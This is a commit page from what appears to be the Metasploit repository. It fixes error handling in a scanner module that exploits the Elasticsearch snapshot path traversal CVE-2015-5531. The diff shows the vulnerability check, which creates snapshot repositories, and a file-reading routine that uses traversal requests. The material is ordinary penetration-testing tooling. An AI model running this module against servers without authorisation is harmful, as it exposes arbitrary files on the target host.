Skip to content

Commit 81f1a7c

Browse files
committed
Fix elasticsearch traversal check support
1 parent 3106aef commit 81f1a7c

2 files changed

Lines changed: 17 additions & 10 deletions

File tree

lib/msf/core/auxiliary/multiple_target_hosts.rb

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -17,12 +17,10 @@ def has_check?
1717
end
1818

1919
def check
20+
return Exploit::CheckCode::Unsupported unless has_check?
21+
2022
nmod = replicant
21-
begin
22-
nmod.check_host(datastore['RHOST'])
23-
rescue NoMethodError
24-
Exploit::CheckCode::Unsupported
25-
end
23+
nmod.check_host(datastore['RHOST'])
2624
end
2725

2826
end

modules/auxiliary/scanner/http/elasticsearch_traversal.rb

Lines changed: 14 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -54,17 +54,21 @@ def check_host(ip)
5454
'data' => '{"type":"fs","settings":{"location":"dsr"}}'
5555
)
5656

57+
return Exploit::CheckCode::Unknown('Failed to connect to the target.') unless res1
58+
5759
res2 = send_request_raw(
5860
'method' => 'POST',
5961
'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwnie'),
6062
'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}'
6163
)
6264

65+
return Exploit::CheckCode::Unknown('Failed to connect to the target.') unless res2
66+
6367
if res1.body.include?('true') && res2.body.include?('true')
64-
return Exploit::CheckCode::Appears
68+
return Exploit::CheckCode::Appears('Successfully created snapshot repositories, suggesting the Snapshot API is vulnerable to CVE-2015-5531.')
6569
end
6670

67-
Exploit::CheckCode::Safe
71+
Exploit::CheckCode::Safe('Failed to create snapshot repositories.')
6872
end
6973

7074
def read_file(file)
@@ -82,7 +86,12 @@ def read_file(file)
8286
'uri' => travs
8387
)
8488

85-
if res && res.code == 400
89+
unless res
90+
print_error("No response received from the target.")
91+
return nil
92+
end
93+
94+
if res.code == 400
8695
return res.body
8796
else
8897
print_status("Server returned HTTP response code: #{res.code}")
@@ -95,8 +104,8 @@ def run_host(ip)
95104
vprint_status("Checking if it's a vulnerable ElasticSearch")
96105

97106
check_code = check_host(ip)
98-
print_status("#{check_code.message}")
99-
if check_host(ip) != Exploit::CheckCode::Appears
107+
print_status(check_code.message)
108+
unless check_code == Exploit::CheckCode::Appears
100109
return
101110
end
102111

0 commit comments

Comments
 (0)